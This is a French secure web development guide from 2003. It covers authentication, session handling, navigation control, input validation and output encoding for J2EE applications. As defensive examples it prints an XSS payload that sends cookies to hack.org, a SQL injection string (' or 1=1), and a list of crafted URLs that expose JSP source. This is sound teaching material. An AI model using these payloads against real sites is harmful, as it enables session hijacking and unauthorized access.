Comment développer sécurisé

Ce document explique les règles à suivre pour réaliser un développement sécurisé.
Par Philippe PRADOS - 2003
www.prados.fr
Pourquoi s’occuper de la sécurité lors du développement ?
Les applications Internet constituent des cibles privilégiées pour les pirates, car les attaques s’effectuent à distance et il est très difficile de remonter à l’auteur. Les attaques sont principalement de deux types : l'introduction dans le système pour y lire des informations sensibles ou y apporter des modifications préjudiciables à l’entreprise ou la mise hors-service de l’application (c'est le DoS: Denial of Service, « déni de service »). La première forme s’apparente au banditisme, la deuxième au vandalisme.
Une application présente sur le net doit essentiellement se protéger du banditisme, même si le vandalisme peut paralyser l’activité d’une entreprise dépendant exclusivement du net. L’attaque des sites comme Yahoo™ en février 2000 en a été une flagrante démonstration.
Afin d’obtenir la confiance des clients, il est indispensable de les protéger et de le leur démontrer régulièrement. Les clients des sites Internet sont très volatiles. Ils sont à un clic du concurrent. Le frein principal du commerce électronique ou des accès bancaires est la crainte de l’internaute quant à la sécurité de ses informations confidentielles : les sites doivent offrir une garantie de sécurité pour l’internaute. Ce n’est généralement pas le cas : de nombreux sites protègent leurs serveurs mais négligent les clients. Une étude effectuée en février 2000 sur dix sites bancaires français faisait apparaître que cinq d’entre eux ne protégeaient pas les clients (Le Monde Informatique n° 843).
Pour proposer un site sécurisé, vous devez respecter un certain nombre de règles, justifiées par l’expérience. Il n’existe pas et il n’existera jamais de preuves de l’invulnérabilité d’un site. Il est nécessaire de se tenir régulièrement au courant des nouvelles attaques et des nouveaux « exploits » des hackers. Les sites devront être adaptés en conséquence. Un audit régulier du système complet doit être fait pour protéger le serveur et le client.
Quelle que soit la complexité de la partie cliente, elle utilisera le réseau pour communiquer avec le serveur. Plusieurs attaques peuvent alors êtres mises en place :
- Exploiter les bogues.
- Écouter la communication entre le client et le serveur pour obtenir des informations confidentielles (sniffer).
- Se placer entre le client et le serveur afin de modifier partiellement les informations à la volée lors de la communication (« man in the middle » ou « homme au milieu »).
- Rédiger un programme qui se fait passer pour un client ou un serveur et simule leur comportement (spoofing).
Il existe de nombreux outils pour faire cela. Comment réagir face à ces quatre situations ? Quelles situations permettent aux pirates de s'introduire par des failles de sécurité ?
Les architectes et les développeurs doivent intégrer très tôt la sécurité. Souvent, des choix d’architectures malheureux entraînent des impasses sécuritaires. Il n’est plus possible de corriger une faille car cela remet en cause l’ensemble de l’application. Les développeurs doivent résoudre de nombreuses difficultés, allant bien au-delà de l’objectif de l’application qu’ils conçoivent. Il est déjà difficile de rédiger un programme sans erreurs, alors comment rédiger un programme qui résiste aux pirates ? Ceux-ci feront tout ce qu’ils peuvent pour trouver les bugs et les exploiter à leurs profils.
De l’expérience, on peut dégager différents principes permettant d’améliorer la sécurité des sites Internet.
La sécurité est un problème global qui ne peut être résolu avec des solutions génériques. Chaque maillon de la chaîne doit être étudié. L’application est malheureusement le maillon faible de la sécurité. C’est pour cela que les pirates entrent généralement par ce point. Chaque application est unique. Il n’est pas possible de bénéficier des informations présentes dans les listes de diffusions pour corriger une application. Les patchs des différents produits utilisés sont rapidement disponibles, mais qui peut écrire un patch pour votre application ? Qui connaît suffisamment le code pour pouvoir le modifier sans risque ? Quel processus rapide permet le déploiement de la version corrigée ?
Démarches
La sécurité des applications est un objectif qu’il est préférable de prendre en compte dès le début du projet. C’est un sujet complexe, généralement négligé par manque de compétence, de temps et de budget. Pourtant, résoudre les problèmes de sécurité à la fin d’un projet est très difficile et très coûteux. Cela a un impact à tous les niveaux, de l’architecture au déploiement des patchs. Une application sécurisée exige une prise en charge complète par tous les intervenants : de l’architecte au développeur en passant par le chef de projet et l’administrateur.
Quel est le rôle de chacun afin d’améliorer la sécurité ?
L’architecte
L’architecte doit intégrer une partie des risques et les moyens de les résoudre. Son rôle est double : architecturer le développement et l’infrastructure. Il doit sélectionner les outils permettant une qualité, une productivité et une sécurité optimum.
On trouve souvent des architectures de développement utilisant un framework n’offrant qu’une seule URL pour toutes les pages et un champ caché. De nombreux frameworks en Open Source offrent cette approche. Cela améliore la productivité et uniformise les développements de tous les développeurs. Les compétences peuvent être utilisées sur différents projets.
Le choix de n’avoir qu’une seule URL pour l’ensemble de l’application empêche le développeur de vérifier la navigation de l’internaute entre les pages. Comment vérifier le chemin d’un utilisateur ? Il y a deux approches : gérer un état sur le serveur pour se rappeler de la dernière page ou exploiter l’en-tête referer du protocole HTTP. La première approche interdit l’utilisateur d’ouvrir plusieurs fenêtres, de mémoriser des liens sur l’application, d’utiliser le bouton retour du navigateur. Très rapidement, il y a désynchronisation entre l’état sur le serveur et la page de l’utilisateur. L’approche referer permet le contrôle de la navigation si, et seulement si, chaque page possède une URL unique. Cet en-tête indique la page précédente, celle où l’utilisateur a cliqué. Si toutes les pages sont référencées par une seule URL, l’en-tête n’a plus de valeur exploitable. Il indique toujours la même valeur. Finalement, les développeurs ayant fait un mauvais choix stratégique au départ — n’avoir qu’une seule URL — font l’impasse sur le contrôle de la navigation. C’est pourtant un problème important de sécurité. Un pirate peut sauter le processus de paiement et valider son achat !
Le choix d’un framework est très important pour la sécurité. Des frameworks très réputés n’ont pas intégré ce besoin lors de leurs conceptions. Faire le mauvais choix peut entraîner l’impossibilité de corriger l’application lorsque la faille est découverte. Qui acceptera de tous reprendre à zéro ?
Par exemple, le framework Struts (http://jakarta.apache.org/struts/index.html) propose un mécanisme d’introspection permettant d’alimenter automatiquement les propriétés des objets métiers à partir des noms des champs. Si le champ s'appelle client.adresse.codepostal, l’algorithme va naviguer dans les objets pour alimenter la propriété code postal de l’adresse du client. Cet algorithme est très efficace car il évite la rédaction répétitive de cette phase de l’analyse de la requête.
L’algorithme est trop permissif. Un pirate peut choisir le nom qu’il désire pour un champ de formulaire, et ainsi modifier la propriété voulue. S’il soumet un formulaire avec la propriété session.utilisateur.nom, il peut modifier le nom de l’utilisateur après son authentification. Toute propriété, accessible directement ou indirectement à partir de l’objet racine, peut être modifiée. Cela fait la joie des pirates. Les logs deviennent inconsistants. Avec la version 1.0 de Struts, il est possible de tuer une application à l’aide d’une seule URL !
L’architecte intervient également au niveau physique. Il doit sélectionner les technologies adéquates pour permettre une communication sécurisée entre les différents serveurs. Il doit identifier le positionnement et le rôle des différents pare-feu. Il peut utiliser des technologies de sécurité, imposant des contraintes de déploiement.
Il doit également sécuriser l’administration de l’application. Qui, quand et comment peut-on administrer l’application ? Où vont s’enregistrer les logs ? Comment réagir si une faille est découverte sur un des maillons ? Est-ce que le réseau est en danger ou le risque est-il maîtrisable ? Est-ce que l’application est décomposée en sous-systèmes afin de limiter les risques ?
L’architecte doit répondre à ces interrogations. Ne pas le faire au début expose à de sérieuses déconvenues.
Les développeurs
Le développeur à également une part de responsabilité importante dans la sécurité. Chaque ligne de code peut être une faille. Le problème majeur est que les développeurs ne sont pas formés. Il existe pourtant des cours sur la sécurité qui leurs sont dédiés. Pour de très bonnes raisons (délai, coût) ils ne les suivent pas. Chaque développeur est censé être un virtuose de la sécurité.
Les technologies offertes aux développeurs ne sont pas sécurisées. La plupart des formations expliquent précisément ce qu’il ne faut pas faire. Il n’est pas étonnant alors de trouver de nombreuses failles dans les développements.
Un exemple parmi tant d’autres sous J2EE. Il est possible d’indiquer la valeur d’une variable dans une page JSP. Pour cela, il est recommandé d’utiliser un marqueur spécifique : <jsp:getProperty/>.
Bonjour <jsp:getProperty name="user" property="name"/>
Ce marqueur n’encode pas la valeur de la variable lors de son inclusion dans la page. Si le nom de l’utilisateur possède du javascript, celui-ci sera exécuté. Par exemple, si un pirate arrive à alimenter le nom de l’utilisateur avec la valeur suivante :
<script>(new Image).src="http://www.hack.org/?c="+document.cookies</script>
Il peut capturer le cookie d’un utilisateur et permettre ainsi le vol de sa session, même avec l’utilisation du cryptage SSL. Cette attaque est applicable à de nombreuses technologies du Net : ASP, PHP, etc.
Il ne suffit pas de coder correctement, il faut également ajouter de nombreux code défensif. Toutes les technologies d’Internet ont des maillons faibles. Le développeur ne peut pas modifier un protocole ou une fonctionnalité d’un navigateur. Il doit alors ajouter du code spécifique pour détecter ou limiter les possibilités des pirates. Des ethicals hackers peuvent aider les développeurs à détecter les attaques.
Le chef de projet
Le chef de projet a également un rôle à jouer pour la sécurité. Il doit mettre en place les procédures de qualification du code, organiser les formations et les audits. Il doit faire intervenir les spécialistes à différents jalons critiques. Cela permet de réduire les impacts des failles découvertes en cours de développement. Il doit obtenir du client les soutiens nécessaires afin d’imposer des processus organisationnels pour pouvoir réagir rapidement. La sécurité est un processus global ayant souvent un impact sur l’organisation de l’entreprise.
Une application sécurisée ne se déploie pas comme les autres. En effet, il n’est pas envisageable de l’interrompre pendant plusieurs semaines afin de respecter le processus de déploiement, avec recette de toutes les fonctionnalités, signatures des différents intervenants, etc. Il n’est pas envisageable de laisser une faille ouverte en priant pour que personne ne le remarque. Devant ce dilemme, le chef de projet doit prévoir.
Un processus de déploiement rapide doit permettre une mise à jour de l’application en quelques heures. Cela doit avoir été prévu dès le début du projet. La rédaction de tests unitaires et d’intégrations complets et automatiques peuvent faciliter cela. Après la correction d’une faille, un processus automatique qualifie l’application pour donner le feu vert. Pour des failles simples, deux heures doivent suffire à la publication du patch.
L’administrateur
L’administrateur du projet a un rôle complexe à jouer. En effet, il doit parfaitement connaître l’application et les technologies utilisées afin d’identifier les risques de son application. De nouvelles failles sont découvertes régulièrement. Certaines peuvent s’appliquer à l’application. Il n’est pas possible de s’appuyer sur des bases de connaissances car chaque application est unique. Il est facile de patcher un serveur web, un serveur d’application, un langage ou une base de données. Il est plus difficile de modifier l’application lorsqu’on découvre qu’elle est vulnérable à une nouvelle forme d’attaque. Qui possède les connaissances suffisantes pour faire le lien entre une alerte et sa concrétisation dans l’application ?
L’administrateur doit être très vigilant et consulter les logs et les listes de diffusions sur la sécurité. Il doit faire intervenir les ethicals hackers s’il a besoin d’aide pour analyser un comportement étonnant. Il doit avoir le pouvoir d’arrêter l’application s’il le juge nécessaire. Cela demande un soutien de sa hiérarchie.
De nombreuses attaques applicatives exploitent des bugs de développements. Avec la généralisation des pare-feu, c’est souvent le dernier maillon faible. C’est également le plus difficile à corriger. De nombreux intervenants ont un rôle à jouer.
Les clients devraient être plus exigeants lors de la sélection des sociétés de services. Un projet qui fonctionne, mais basé sur une architecture impossible à sécuriser, sera très rapidement interrompu. De nombreux services ont été ouverts trop vite et on dû fermer en pleine gloire afin de corriger des failles majeures. Cela n’améliore par la confiance des internautes. L’image de l’entreprise, obtenue après de long mois de marketing et des dépenses importantes en communication, peut être ternie par un service publié trop rapidement. Un audit de sécurité, effectué avant le déploiement, est une bonne assurance de réussite.
Règles de développements
Nous allons proposer différents points devant être traités pour gérer la sécurité lors du développement d’une application Internet.
Authentification & habilitation
Avant toute utilisation de l’application, l’utilisateur peut se signer. Il bénéficie alors d’un certain nombre de services.
Authentification
Pour authentifier un utilisateur, plusieurs approches sont possibles :
Offrir un formulaire HTML
Utiliser le basic authentication (une boite du navigateur demande l’identification)
Utiliser un certificat client
La meilleure approche est l’utilisation d’un certificat client. Cela oblige à mettre en place une infrastructure de PKI.
Il ne faut pas utiliser le basic authentication, même épaulé par HTTPS.
Lors d’une authentification par formulaire, il faut impérativement proposer le formulaire dans une fenêtre HTTPS (la simple soumission en HTTPS n’est pas suffisante), avec la barre de statut visible (il faut voir le cadenas), dans la fenêtre principale (une fenêtre fille peut simuler la barre de statut).
Gestion d’erreur
Lors de l’authentification de l’utilisateur, deux erreurs peuvent se produire :
- Le nom de l’utilisateur est inconnu
- Le mot de passe n’est pas correct.
Il ne faut surtout pas émettre de messages différents pour ces deux situations, sinon un pirate peut connaître la liste des utilisateurs, même s’il ne connaît pas leurs mots de passe. Il lui suffit de demander automatiquement l’authentification d’une liste de noms (déduite généralement de la liste des employés ou des différentes communications de l'entreprise : liste de diffusions, notes de services, affiches…) Un mot de passe quelconque lui permet de déduire la liste des utilisateurs actifs. Il peut ensuite chercher à trouver les mots de passe.
Une autre attaque consiste à chercher un utilisateur pour un mot de passe donné. Un programme teste une liste de noms d’utilisateurs pour un mot de passe connu (toto, admin, etc.).
Contrainte des mots de passes
Un mot de passe doit avoir une taille minimum de 9 caractères, posséder des caractères non alphabétiques et ne pas se terminer par des chiffres. Sinon, des dictionnaires de mot de passe permettent de les trouver rapidement. Ils doivent également avoir une durée de vie relativement courte (1 à 2 mois) afin de réduire la fenêtre de tir permettant à un pirate de trouver ou d’exploiter un mot de passe. Un nombre d'échecs important doit griller le mot de passe ou interdire son utilisation avant une période d’attente de plus en plus longue.
Il est également envisageable de garder un historique crypté des 5 derniers mots de passe pour éviter leur réutilisation.
Cryptage des mots de passes
Les informations d'authentification et d’habilitations mémorisées dans la base de données doivent être cryptées à l’aide d’une clé spécifique à l’application. Sinon, cela permet à l’administrateur de celle-ci ou à quelqu’un connaissant un compte sur la base de données d’obtenir tous les mots de passe ou de modifier les privilèges d’un utilisateur. Il ne faut pas oublier que les utilisateurs choisissent généralement toujours les mêmes mots de passe pour plusieurs applications. Obtenir ces informations peut ouvrir des portes bien plus critiques que l’application en cause.
Le DBA devient un suspect possible pour une attaque interne ou une cible privilégiée pour un cheval de Troie (un cheval de Troie est un programme anodin permettant à un pirate de prendre le contrôle d’un poste) Si le poste de l’administrateur est attaqué, le pirate peut consulter la base de données et obtenir tous les mots de passe.
Session
La session est la seule information identifiant un utilisateur. Le protocole HTTP ou HTTPS étant déconnecté, il n’est pas possible de contrôler la présence d’un utilisateur autrement que par un cookie de session (l’approche URL-Rewriting est trop fragile en ce qui concerne la sécurité)
Si un pirate arrive à forger un cookie de session valide, il peut voler la session d’un utilisateur et bénéficier ainsi de ses habilitations. Le pirate ne connaît pas le mot de passe de l’utilisateur, mais bénéficie d’une de ces connexions.
Il est également envisageable d’offrir un service de déconnexion à l’utilisateur.
Vérification des habilitations
Java permet d’interdire l’utilisation de certaines API. En paramétrant correctement le fichier java.security il est possible de contrôler précisément les habilitations de l’application WEB (fichiers pouvant être ouverts, serveurs accessibles, etc.) Cela permet d’interdire à un cheval de Troie, inséré par un prestataire indélicat, d’ouvrir une brèche. Les quelques API exigeant des privilèges supplémentaires peuvent être regroupées dans une archive spécifique, signée pour l’occasion.
Il faut utiliser les services de sécurité du serveur d’application et du conteneur d’EJB. Si cela est possible, exploitez également l’API JAAS.
Vérification des attaques inter-sites
Lorsqu’un utilisateur est identifié sur une application et qu’il navigue ensuite sur un autre site Internet, celui-ci peut s’arranger pour soumettre des formulaires à l’application en utilisant le navigateur de l’utilisateur et ces habilitations précédentes (Cross Site Scripting)
Il est nécessaire de vérifier que l’en-tête Referer, s’il existe, correspond bien au site d’installation de l’application ou d’un site de confiance. Cet en-tête indique la page précédente de la navigation. Si un formulaire est soumis à partir d’un autre site, cela indique une tentative d’attaque. Une alerte doit être émise.
Utilisation abusive du navigateur
Une fois l’utilisateur identifié, il peut s’absenter de poste pendant quelques minutes. Un pirate opportuniste peut alors bénéficier des habilitations courantes de l’utilisateur pour lui faire exécuter des traitements sensibles.
Il est nécessaire de ré-authentifier l’utilisateur pour valider un traitement critique comme une prise de commande. La demande de mot de passe permet d’identifier à nouveau l’utilisateur.
Vérification de la navigation
Une fois l’utilisateur authentifié, il est nécessaire de vérifier sa navigation.
Les développeurs vérifient généralement leurs applications lors d’une utilisation normale. Un pirate va chercher à pervertir l’application en suivant des chemins inhabituels. La technologie « Navigateur - Serveur http » permet à l’utilisateur de demander n’importe quelle page à n’importe quel moment. Il lui suffit souvent d’ouvrir un deuxième navigateur pour naviguer de façon anarchique.
Vérification de la navigation de l’interface utilisateur
Un utilisateur peut mémoriser un signet au milieu d’une application ou ouvrir plusieurs fenêtres de son navigateur en même temps. Cela peut avoir un impact sur l’état de la session de l’utilisateur et sur les traitements transactionnels effectués par la couche métier. Les informations de la base de données peuvent être perverties par ce biais.
La navigation de l’utilisateur doit être contrôlée. Plusieurs chemins peuvent arriver à la même page. La même URL peut aboutir vers différentes pages de présentations. Certains chemins sont illégaux. Toutes ces contraintes peuvent être décrites dans un automate à état.
L’utilisateur ne doit pouvoir naviguer qu’en suivant les arcs de l’automate.
Vérification de l’automate à état des traitements
Vérifier la navigation est un point intéressant pour détecter les erreurs parfois involontaires d’un utilisateur (ouverture de plusieurs fenêtres, mémorisation de signets), mais cela n’empêche pas un pirate d’effectuer une navigation illégale.
L’application elle-même doit maintenir un automate à états des traitements et vérifier que l’utilisateur ne le viol pas.

Par exemple, une application de commerce électronique demande à l’utilisateur de remplir son panier avant d’entrer dans le processus de paiement. Il ne faut pas que l’utilisateur puisse ajouter des produits dans son panier lorsqu’il est entré dans le processus de paiement. Sinon, il peut s’arranger pour éviter de payer certains produits. L’application doit explicitement fermer le panier, et vérifier qu’il est ouvert lors de l’ajout d’un produit.
L’état « panier fermé » est un état fonctionnel et non ergonomique.
Analyse des paramètres
Les paramètres envoyés par l’utilisateur lors de chaque requête peuvent facilement être modifiés par un pirate. Cela comprend :
- Les paramètres des formulaires ;
- Les paramètres des URL ;
- Les cookies ;
- Et les en-têtes du protocole HTTP.
Invocation
L’application ne doit pas utiliser l’invocateur de servlet. Celui-ci extrait de l’URL le nom de la classe de servlet pour la charger en mémoire et l’invoquer. Il est alors possible de charger n’importe quelles classes dans la machine virtuelle de java. Certaines classes peuvent faire tomber l’application.
Soumission des paramètres
Les formulaires peuvent être émis par les navigateurs suivant deux approches : GET et POST.
L’approche GET consiste à ajouter à l’URL de destination, l’ensemble des paramètres et leurs valeurs. Les paramètres suivent le point d’interrogation de l’URL et sont séparés par un esperluette (&)
L’approche POST consiste à envoyer les paramètres après la soumission de l’URL. Dans ce cas, l’URL ne possède pas d’information sur les champs et leurs valeurs.
L’approche GET peut exposer des informations confidentielles :
- Dans la barre d’adresse ou l’historique du navigateur ;
- Dans le fichier de log du serveur ;
- Dans le cache du navigateur ;
- Dans les fichiers de log des pare feux ;
- Dans les fichiers de log des proxies ;
- Dans les champs Referer transmis à d’autres sites.
Les requêtes POST ne sont généralement pas mémorisées dans les logs. Pour plus de sécurité, les informations critiques peuvent être cryptées.
Si une page est demandée à l’aide d’un GET alors qu’elle a été prévue pour un POST, indiquez ce comportement dans la log et remontez éventuellement l’information à l’administrateur.
Utilisez systématiquement l’approche POST lors de la soumission de formulaires possédant des informations critiques.
Détectez l’utilisation d’un GET à la place d’un POST pour le signaler à l’administrateur.
Vérification des pré-conditions
Les servlets doivent suivre une structure rigide pour améliorer la sécurité.
- Vérifier le contexte d’exécution.
- Est-ce normal d’invoquer ce servlet à ce moment précis de la navigation ?
- L’invocation est-elle conforme aux attentes ? (invocation par POST, par GET ?)
- Synchroniser l’accès à la session pour interdire un accès concurrent.
- Récupérer l’ensemble des paramètres de la requête. Si certains champs doivent être présents et ne le sont pas, il faut enregistrer cette information et le signaler à l’administrateur.
- Il ne faut pas les récupérer au fur et à mesure des besoins. Sinon, un échec sur le dernier paramètre peut avoir des effets de bords sur l’application.
- Qualifier les pré-conditions de toutes les informations récupérées. Cela comprend : les paramètres, les cookies et les en-têtes.
- Convertir tous les paramètres en types java correspondant
- Vérifier les limites valides pour chaque paramètre (positif ? Compris entre telle et telle valeur ?). Cela peut être effectué dans les méthodes set() des objets métiers.
- Filtrer les caractères légaux (présence d’un retour chariot ? De caractères étranges ?)
- Invocation de la couche métier
- Sélection de la page de présentation et affichage. Le calcul de la page JSP ne doit jamais invoquer de traitement métier ayant des effets de bords.
Des tests de surfaces permettent de limiter l’introduction d’informations erronées, mais cela n’arrête pas un pirate bien outillé. Il ne faut jamais faire confiance à la partie cliente de l’application.
Chaque traitement métier doit commencer par vérifier l’ensemble des préconditions sur les champs des formulaires. Il faut filtrer les caractères incorrects (< 0x20,>= 0x7F, etc.), et éventuellement les noms des périphériques (AUX, COM, LPT, NUL et PRN).
Soumission de fichier
L’utilisateur peut soumettre un fichier à l’application en indiquant dans le marqueur <form/> l’attribut enctype à multipart/form-data. Le serveur d’application doit décoder la soumission en respectant le format décrit dans le RFC1867.
Le serveur reçoit dans un en-tête le nom du fichier soumis par l’utilisateur.
Le nom du fichier peut contenir des caractères douteux (/\.). Il est indispensable de générer un nouveau nom de fichier aléatoire lors de sa sauvegarde sur le disque du serveur. Une table peut maintenir l’association entre un nom public et le nom technique utilisé par l’application. Le nom du fichier utilisé sur le serveur ne doit pas être prédictible. Attention, de nombreux frameworks utilisent un nom pseudo aléatoire prédictible.
Champ caché
En janvier 2000, ISS Inc a identifié dans de nombreux produits commerciaux que les prix des produits étaient indiqués dans un champ caché. Un pirate peut alors obtenir facilement des réductions. Il lui suffit de sauver la page en locale, de modifier le prix d’un article, de lire la version locale du fichier avec son navigateur et de soumettre le formulaire.
Il est préférable de se passer des champs cachés et de maintenir l’état de l’utilisateur sur le serveur. Cela peut avoir un impact sur les ressources nécessaires sur le serveur.
Invocation de la couche métier
La couche métier est la plus sensible. Elle modifie directement les informations de la base de données ou du système d’information. Les entrées de cette couche sont les objets métiers manipulés par les formulaires et différents paramètres.
Vérification des pré-conditions
Les pré-conditions effectuées lors de l’analyse des formulaires ne permettent pas d’interdire un pirate d’obtenir un état instable de l’application. Dans certains cas, la manipulation habile de plusieurs formulaires ou du même formulaire simultanément, peut entraîner une modification incorrecte des objets de la session. Ces impacts ne sont pas importants tant que les informations perverties ne deviennent pas persistantes.
Il ne faut pas tenir compte des tests de contraintes effectués lors de l’analyse des formulaires pour éviter de les faire dans la couche métier. De nouveaux tests doivent être ajoutés avant la persistance des objets.
Les processus métiers doivent vérifier strictement l’ensemble des pré-conditions applicatives des traitements. Il ne s’agit pas des mêmes contraintes que pour l’analyse des pré-conditions des formulaires. Les informations traitées ici peuvent avoir été alimentées par plusieurs formulaires ou être le résultat de traitements précédents.
L’entrée dans un processus métier doit représenter la frontière transactionnelle. Il est important de vérifier que le traitement sera correctement effectué.
Chaque processus métier doit :
- Ouvrir la transaction ;
- Vérifier l’ensemble des pré-conditions ;
- Effectuer les traitements ;
- Fermer la transaction.
Gestion des transactions
Les pré-conditions métiers ayant été vérifiées, le traitement peut commencer. L’application doit imposer une frontière claire des transactions. Le conteneur EJB est une approche possible.
Si le traitement utilise plusieurs transactions pour modifier la base de données, il y a un risque d’inconsistance de celle-ci dans le cas où l’utilisateur ou un autre utilisateur modifierait des données dans une des transactions ayant un impact sur la deuxième transaction.
Des pirates peuvent volontairement effectuer plusieurs traitements valides simultanément afin de modifier la base de données.
Il est préférable d’encadrer strictement la frontière transactionnelle comme le fait les conteneurs EJB.
Lecture des mots de passe
Les mots de passe ne doivent jamais pouvoir être lus. Seule leur valorisation est possible.
Il est arrivé des situations risquées à cause de cela. Par exemple, un développeur propose une page permettant la modification de son mot de passe. Pour cela, un formulaire demande l’ancien mot de passe et deux fois le nouveau. Le formulaire effectue des tests clients pour vérifier le mot de passe actuel et les nouveaux.
Le développeur s’est dit « Si l’utilisateur arrive sur cette page, c’est qu’il s’est déjà identifié » Il a oublié le fait suivant : pendant une courte absence de l’utilisateur, un pirate peut utiliser son poste pour demander officiellement la modification du mot de passe. En consultant la source de la page, il obtient le mot de passe. Il n’a plus qu’à demander un « back » au navigateur de la victime et le tour est joué.
Il ne doit jamais exister de méthode getPassword().
Persistance
La persistance est un point sensible de sécurité. Toute modification dans la base de données est pérenne au-delà des mises à jour de l’application.
DNS Spoofing
Le serveur SQL est identifié par son nom de domaine. Pour obtenir l’adresse IP du serveur, l’application invoque le serveur DNS de l’entreprise.
Il existe de nombreuses techniques pour empoisonner un serveur DNS :
- Prédire l’id de requête et répondre plus vite que le DNS
- Installer un DNS perverti et demander au DNS d’entreprise de résoudre un nom via le serveur DNS du pirate. En réponse, le cache sera empoisonné d’informations erronées.
- …
Si un pirate arrive à faire cela, l’application va invoquer le serveur du pirate à la place du serveur SQL. Le pirate pourra simuler ou modifier les commandes destinées à la base de données. Il peut ainsi obtenir beaucoup d'informations ou modifier le comportement de l’application à partir de données apparemment présentes dans la base de données.
Pour s’affranchir des attaques de DNS il faut utiliser une adresse IP fixe pour identifier les serveurs utilisés par l’application. Si vous préférez utiliser un nom, indiquez en dur dans le fichier host l’association entre le nom utilisé par l’application et l’adresse IP du serveur. Ainsi, le serveur DNS ne sera jamais invoqué par l’application. Protégez l’accès en écriture à ce fichier.
Unicité
Si le framework de persistance ne gère pas l’unicité des instances, un même objet peut être présent en mémoire dans deux instances différentes pour la même session. La modification d’une des instances n’impacte pas l’autre. Cela risque de pervertir les données. La dernière instance sauvée dans la base de données écrase les informations sauvées dans la première instance.
Il faut gérer l’unicité des instances.
Lock optimiste
Le protocole HTTP fonctionne en mode déconnecté. Cela implique qu’il n’est pas possible de maintenir une transaction ouverte entre plusieurs fenêtres. Pour régler ce problème, il faut appliquer une politique de lock optimiste.
Cela consiste à mémoriser l’état des objets manipulés lors de l’ouverture d’une transaction longue, et de redonner au processus métier les anciennes versions des objets et les nouvelles. La transaction relit les objets, les compare avec les anciennes versions. Si les objets de la base de données n’ont pas évolué depuis le début de la longue transaction, alors les nouvelles versions sont mémorisées. Sinon, une exception remonte vers l’utilisateur pour lui signaler que son traitement n’a pu aboutir et qu’il doit recommencer.
Plusieurs approches permettent d’identifier la modification des objets métiers :
- Duplication d'objets et de leurs agrégats
- Modification d’un timestamp lors de l’enregistrement d’un objet
- Enregistrement d’un numéro de version pour chaque objet.
Il faut envisager l’utilisation de lock optimiste pour garantir une modification cohérente de l’application.
Génération de requêtes SQL
Un utilisateur peut alimenter un paramètre ou un en-tête http avec une portion de code SQL. Il est possible par cette technique d’obtenir des habilitations incorrectes ou des informations sur la base de données. Par exemple, l’application génère une requête comme ceci :
SELECT * FROM user WHERE uid='$uide' AND password='$password'
L’utilisateur peut soumettre un formulaire avec une valeur particulière pour password.
Password=test' or 1=1
La requête exécutée permet d’ignorer le mot de passe de l’administrateur.
SELECT * FROM user WHERE uid='admin'
AND password='test' or 1=1
Avec JDBC, il est indispensable d’utiliser des preparedStatement() paramétrés.
Etat de l’utilisateur
Génération de cookie
Si l’application utilise un cookie généré par le serveur d’application pour identifier l’utilisateur et que la communication est crypté pour l’ensemble de la session utilisateur, utilisez un cookie sécurisé pour authentifier l’utilisateur.
Si la communication est mixée : une partie cryptée et une partie non cryptées, utilisez un cookie complémentaire sécurisé pour interdire le vol de session.
Les cookies livrés à l’utilisateur doivent être cryptés.
Utilisation de la session
La session est une ressource critique car elle consomme de la mémoire pour chaque utilisateur et peut perdurer pendant 20 minutes. Les informations présentes dans la session doivent être discrètes et ne pas être recyclées entre plusieurs traitements. La navigation étant difficilement contrôlable, une information recyclée peut permettre de faire passer des vessies pour des lanternes.
Utilisez autant que possible une communication via la requête de l’utilisateur. La session doit posséder peu d’objets.
Sélection et Invocation de la page de présentation
Traitements simultanés
Un utilisateur peut soumettre simultanément plusieurs requêtes pour la même session. Avec un peu de chance, cela peut lui permettre d’obtenir des privilèges.
Pour se protéger de cela, il faut interdire les accès concurrents en écriture sur la session de l’utilisateur. Il peut y avoir plusieurs traitements en lecture, mais un seul en écriture. Si un traitement en écriture commence, il ne faut plus accepter de traitement en lecture tant que l’écriture n’est pas terminée. Cela évite d’avoir des informations inconsistantes.
Communication entre servlets
La communication entre servlets ne doit pas s’effectuer via la session. Cela expose au risque de traitements simultanés.
Production de la page de présentation
Récupération des sources
De nombreuses failles des différents serveurs d’applications consistent à pouvoir obtenir le source d’une page de présentation avant son calcul. Pour cela, les pirates ont forgé des requêtes particulières. On peut citer :
- http://monsite/login.jsp%00
- http://monsite/login.jsp%70
- http://monsite/login.JSP
- http://monsite/login.jsp+++++++++++++++++++ … +++.htr
- http://monsite/servlet/file/login.jsp
- http://monsite/+/login.jsp
- http://monsite/>/login.jsp
- http://monsite/</login.jsp
- http://monsite/%20/login.jsp
- http://monsite/%20/login.jsp+.
- http://monsite/login.js%2570
- http://monsite/login.jsp::$DATA
Les pages JSP, PHP ou ASP sont candidates à être publiées par le serveur HTTP. Des filtres permettent de capturer les requêtes pour demander à un serveur d’application d’invoquer la page étendue. Si le filtre n’est pas correctement codé, le serveur HTTP sera autorisé à publier le fichier tel quel.
Les informations présentes dans les pages peuvent être intéressantes pour un pirate. Elles peuvent indiquer le mot de passe de la base de données, le nom des tables SQL, les requêtes utilisées, différents commentaires, …
Les pages JSP ne doivent pas posséder de code ou le moins possible. Il faut déplacer le code présent dans les pages JSP vers des traitements extérieurs
Invocation directe des JSP
Un pirate peut deviner le nom d’une page JSP, PHP ou ASP afin de l’invoquer directement. Cela contourne les vérifications de sécurité effectuées par l’application. Il peut ainsi obtenir des informations pertinentes dont il ne devrait pas avoir accès.
De même, le pirate peut deviner le nom des fichiers inclus. S’ils utilisent une extension spécifique (généralement .inc) le serveur HTTP retournera le source du fichier sans l’analyser.
Il est peut être pertinent de surcharger l’invoqueur de JSP afin de lui adjoindre des règles de sécurité ou d’utiliser les mécanismes de sécurité du serveur d’application.
Par exemple, si aucune page JSP ne doit pouvoir être invoquée directement, l’invoqueur peut regarder l’URL de la requête et la refuser si elle se termine par .jsp. L’utilisation est possible via un dispatcheur, mais pas en direct.
Tous les fichiers inclus doivent avoir une extension capturée et traitée par le serveur d’application.
Inclusion de variable
Les pages JSP permettent de construire des pages sur mesure pour un utilisateur. Ces pages insèrent des informations récupérées à partir de la soumission de formulaire précédant ou de la base de données.
Généralement, les informations incluses dans les pages ne sont pas traitées avant leurs insertions. Il est alors possible d’insérer un script dans une page (Script injection)
Toutes les données incluses dans une page JSP doivent subir un traitement qui dépend de l’emplacement de l’inclusion.
- Si l’information est incluse dans le corps HTML, il faut encoder toutes les entités existantes. Traiter les caractères de code ASCII inférieur à 32 et les caractères unicodes.
- Si l’information est incluse dans une chaîne de caractères d’un javascript, il faut préfixer les caractères ",',\n et \ d’un slache.
- Si l’information est incluse dans le corps d’un javascript, il faut supprimer les caractères suivants : ;()[]\n\
